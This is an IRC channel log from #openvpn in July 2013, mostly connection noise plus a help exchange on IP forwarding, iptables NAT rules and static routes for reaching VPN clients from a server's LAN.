19:14 -!- Denial [~Denial@90.205.133.229] has quit [Client Quit]
19:28 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 264 seconds]
19:30 -!- dimm0k [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has joined #openvpn
19:30 -!- dimm0k [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has quit [Changing host]
19:30 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
19:32 -!- Partmedia [~kevinz@99.189.65.58] has quit [Quit: leaving]
19:35 < EugeneKay> Every time you bridge, I kick a cat.
19:35 < EugeneKay> Won't you please think of the cats?
19:35 < EugeneKay> I know I do.
19:37 < MorgyN> I do, this is why I bridge
19:37 < EugeneKay> Good. I hate cats.
19:38  * EugeneKay doesn't think this argument is going well, now....
19:41 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
19:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
19:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
19:46 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
19:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
20:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
20:22 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
20:22 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
20:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
20:28 -!- Rallias [~rallias@unaffiliated/gasseus] has quit [Quit: Some asshole told me I needed a /quit message. Here it is.]
20:29 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
20:29 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
20:31 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
20:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds]
20:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
20:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
20:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 248 seconds]
21:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
21:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
21:03 -!- mode/#openvpn [+o plaisthos] by ChanServ
21:03 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
21:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
21:05 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
21:10 -!- emid [~emid@192.241.201.133] has quit [Ping timeout: 241 seconds]
21:11 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
21:12 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
21:13 -!- emid [~emid@192.241.201.133] has joined #openvpn
21:18 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
21:31 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
21:32 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
21:35 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 256 seconds]
21:39 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
21:40 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
21:57 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:17 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:21 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
22:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
22:24 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
22:24 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
22:30 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
22:30 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
22:42 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
22:42 -!- emid [~emid@192.241.201.133] has quit [Ping timeout: 256 seconds]
22:45 -!- emid [~emid@192.241.201.133] has joined #openvpn
23:11 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
23:15 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
23:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Read error: Connection refused]
23:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
23:46 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
23:47 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
23:51 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
23:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
23:57 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
23:57 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
--- Day changed Sun Jul 07 2013
00:14 -!- emmanuelux [~emmanuelu@37.59.236.163] has quit [Ping timeout: 248 seconds]
00:19 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
00:19 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
00:22 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Ping timeout: 240 seconds]
00:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
00:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
00:31 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
00:32 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
00:33 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
00:36 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has quit [Ping timeout: 252 seconds]
00:37 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
00:37 -!- wykydtron [~tassadar@persephone.darkness-reigns.net] has joined #openvpn
00:39 -!- wykydtron [~tassadar@persephone.darkness-reigns.net] has quit [Read error: Connection reset by peer]
00:40 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
00:43 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has quit [Excess Flood]
00:46 -!- wykydtron [~tassadar@persephone.darkness-reigns.net] has joined #openvpn
00:47 -!- wykydtron [~tassadar@persephone.darkness-reigns.net] has quit [Read error: Connection reset by peer]
00:47 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
01:04 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
01:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
01:22 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
01:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
01:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
01:35 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
01:36 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
01:36 -!- pcdummy [~quassel@mx1.page4me.ch] has joined #openvpn
01:36 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
01:36 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
01:37 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 263 seconds]
01:39 -!- Poster|w- [poster@shell.bshellz.net] has joined #openvpn
01:39 -!- zeroXten_ [~zeroXten@37.139.3.39] has joined #openvpn
01:39 -!- nish_ [~nish@195.1.174.154] has joined #openvpn
01:42 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
01:43 -!- Netsplit *.net <-> *.split quits: mcp, nish, _quadDamage, WorkRoey, pcdummy_, LeLutin, zeroXten, eliasp, Poster|w
01:44 -!- Netsplit over, joins: LeLutin
01:44 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
01:44 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 248 seconds]
01:48 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 276 seconds]
01:48 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
01:48 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
01:51 -!- WorkRoey [~roey@216-15-7-159.c3-0.bth-ubr1.lnh-bth.md.cable.rcn.com] has joined #openvpn
02:12 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
02:15 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
02:18 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
02:18 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
02:18 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:19 -!- xTz is now known as Guest12190
02:19 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Ping timeout: 245 seconds]
02:27 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
02:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
02:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
02:45 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
02:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
02:54 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
02:55 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
02:59 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
03:00 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
03:02 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Ping timeout: 276 seconds]
03:06 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
03:09 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
03:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
03:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
03:21 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
03:22 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
03:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:35 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
03:35 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
03:36 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:36 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 246 seconds]
03:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
03:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
04:30 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Ping timeout: 276 seconds]
04:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:38 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
04:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
04:40 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
04:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
04:45 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
04:45 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:48 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
04:49 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
05:03 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
05:03 < suprMan`> hello
05:04 < suprMan`> i am have setup a openvpn server on suselinux and the clients are based on windows..... i am not able to ping the client from the a windows pc on the server's network
05:09 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
05:09 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
05:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
05:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
05:16 < fischli> suprMan`: did you already check your firewall/iptables setting ?
05:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
05:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
05:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
05:52 -!- takamich_ [~takamichi@217.23.15.245] has joined #openvpn
05:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
05:54 -!- kubbing_ [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has joined #openvpn
05:55 <@krzee> !serverlan
05:55 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
05:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
05:56 -!- takamich_ [~takamichi@217.23.15.245] has quit [Ping timeout: 256 seconds]
05:57 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
05:57 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
05:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 276 seconds]
05:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
06:13 < suprMan`> fischli: hello.. what should i look for
06:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
06:17 -!- takamich_ [~takamichi@217.23.15.245] has joined #openvpn
06:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
06:18 < fischli> suprMan`: it's not easy to help if you do not even know where to look after. You are sure you do have both machines connected properly by openvpn? Your suse firewall may block all incoming packets.
06:19 < suprMan`> yes
06:19 < suprMan`> i can ping client to server
06:19 < suprMan`> no issues
06:19 < suprMan`> i cant ping from a system on the server network to the client
06:20 < suprMan`> someting with the gateway i think
06:21 < fischli> suprMan`: forwarding?
06:22 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
06:22 < fischli> suprMan`: "cat /proc/sys/net/ipv4/ip_forward" should be 1 on the server
06:22 < fischli> !ipforward
06:22 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
06:23 < fischli> !linipforward
06:23 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
06:24 < suprMan`> its 0 now
06:24 < suprMan`> ok will make it 1
06:24 -!- takamich_ [~takamichi@217.23.15.245] has quit [Ping timeout: 256 seconds]
06:24 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
06:24 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 248 seconds]
06:25 < suprMan`> ok will try
06:25 < suprMan`> brb
06:25 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Quit: let me die inside]
06:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
06:28 < fischli> !tcpip
06:28 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
06:28 < fischli> !clientlan
06:28 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
06:28 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
06:28 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
06:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
06:33 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
06:39 -!- suprMan` [~clark_ken@62-209-20-154.wimax.bb.zain.com] has joined #openvpn
06:40 < suprMan`> fischli: i get this error in the windows client log
06:40 < suprMan`> ERROR: Windows route add command failed [adaptive]: returned error code 1
06:40 < suprMan`> ROUTE: route addition failed using CreateIpForwardEntry: Access is denied. [status=5 if_index=22]
06:41 -!- Denial [Denial@90.205.133.229] has joined #openvpn
06:44 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
06:44 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
06:45 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
06:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:48 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
06:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
06:49 < fischli> !winipforward
06:49 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
06:50 -!- kubbing_ [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
06:51 < suprMan`> server and client both should be "1"?
06:52 < fischli> suprMan`: I'm not that close to windows ... can't say what's wrong with your config ... ever tried static routes on the windows client?
06:52 < Sidewinder> Sounds rather Zen.
06:53 < suprMan`> can i give the server.conf on suse box?
06:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
06:57 < suprMan`> fischli: http://pastebin.com/njJE1B0Z
06:59 < suprMan`> client.conf      http://pastebin.com/nimfCzac
06:59 < SgrA> How long does it take to generate 4096-bit keys on an average computer?
07:01 < fischli> suprMan`: I assume the push of route 192.168.15.0/24 to the windows client causes the error
07:02 < fischli> suprMan`: I would try to remove the push in the server config and set it by hand on the windows client for testing
07:03 < suprMan`> ok i removed that.. how can i set on windows?
07:06 -!- emcepe is now known as mcp
07:06 < suprMan`> i removed the line in the server.conf.. now i can ping server to client.. but not backwards..... and still not LAN to client..
07:06 < mcp> SgrA: some minutes
07:10 < suprMan`> this is the openvpn log from the windows client http://pastebin.com/qsUd75Dx
07:13 < fischli> suprMan`: try "route.exe ADD 192.168.15.0 MASK 255.255.255.0 192.168.17.5"
07:14 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
07:14 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
07:15 < suprMan`> ok now i can ping server from client.. but still cant ping from LAN to client.. LAN=any system on 192.168.15.X
07:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:23 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
07:23 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
07:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
07:28 < suprMan`> can i use up and down scripts to add routes on server/
07:28 < fischli> suprMan`: and all those clients on 192.168.15.0/24 know the route to 192.168.17.0/24
07:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
07:30 < fischli> suprMan`: surely, you can use scripts on the server
07:31 < jzaw> SgrA, with enough entropy on  a newish pc ... 1min ish
07:31 < jzaw> take forever if entropy runs out even on a cray
07:32 < SgrA> Took me 25 minutes to generate a 2048-bit key on a Raspberry Pi.
07:32 -!- suprMan` [~clark_ken@62-209-20-154.wimax.bb.zain.com] has quit [Read error: Connection reset by peer]
07:38 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
07:41 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:46 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
07:46 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
07:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
07:50 -!- suprMan` [~clark_ken@62-209-20-179.wimax.bb.zain.com] has joined #openvpn
07:50 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
07:53 < suprMan`> fischli: this is the ifconfig http://pastebin.com/EViyq665
07:56 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
07:56 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
07:58 < fischli> suprMan`: all clients in 192.168.15.0/24 should set their default gateway to 192.168.15.100 or add a route for 192.168.17.0/24 to 192.168.15.100
07:58 < fischli> suprMan`: you should read some books about tcp/ip
07:59 < fischli> !tcpip
07:59 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
07:59 < fischli> !101
07:59 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
08:00 < suprMan`> oh thank you very much.......
08:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
08:03 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
08:04 < tharkun> !nat
08:04 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
08:04 < tharkun> !linnat
08:04 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
08:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
08:05 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:07 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
08:11 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
08:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
08:16 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:19 < tharkun> !openvzlinnat
08:19 <@vpnHelper> "openvzlinnat" is since openvz cant do NAT inside containers, use iptables -t nat -A PREROUTING -i tun0 -j DNAT --to-destination <container.ip>
08:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
08:20 < tharkun> !fbsdnat
08:20 <@vpnHelper> "fbsdnat" is nat on $ext_if from $vpn_network to any -> ($ext_if) (this is for PF)
08:21 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
08:23 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:23 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
08:26 < SgrA> Do the '+' on the ./build-dh screen mean anything?
08:28 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
08:31 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:33 < SgrA> Found it, thanks.
08:36 -!- suprMan` [~clark_ken@62-209-20-179.wimax.bb.zain.com] has quit [Read error: Connection reset by peer]
08:37 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
08:39 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:43 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
08:47 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
08:47 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
08:47 < suprMan`> fis: sorry.... but how can i do it without changing the defeault gateway for the LAN..... whats change can be done on the server itselt
08:51 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:51 < suprMan`> i have an openvpn server setup on my suse box 192.168.15.100, and the LAN is 192.168.15.0 with default gateway 192.168.15.1   ....... I am not able to ping from 192.168.15.x the vpn clients at 192.168.17.0 .. what change should be done on th server
08:54 < suprMan`> server.conf : http://pastebin.com/XfhHMV8M
08:55 < suprMan`> client.conf : http://pastebin.com/wkKj6hwW
08:56 < suprMan`> ifconfig : http://pastebin.com/gF8qzs9A
08:57 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Read error: Connection reset by peer]
08:57 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
08:59 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
08:59 < suprMan`> sorry dc
09:01 -!- suprMan2` [~clark_ken@62-209-20-179.wimax.bb.zain.com] has joined #openvpn
09:02 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
09:03 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
09:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
09:04 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 264 seconds]
09:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
09:08 -!- TauNeutrino [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has joined #openvpn
09:08 < TauNeutrino> hey guys
09:08 < TauNeutrino> can I use openvpn only for my machine?
09:18 -!- Denial- [~Denial@90.202.26.221] has joined #openvpn
09:19 -!- Denial [Denial@90.205.133.229] has quit [Ping timeout: 248 seconds]
09:19 -!- Denial- is now known as Denial
09:19 < TauNeutrino> hey
09:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
09:31 < TauNeutrino> helloo
09:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
09:33 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 252 seconds]
09:36 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
09:37 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
09:37 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
09:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:43 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
09:44 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
09:45 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
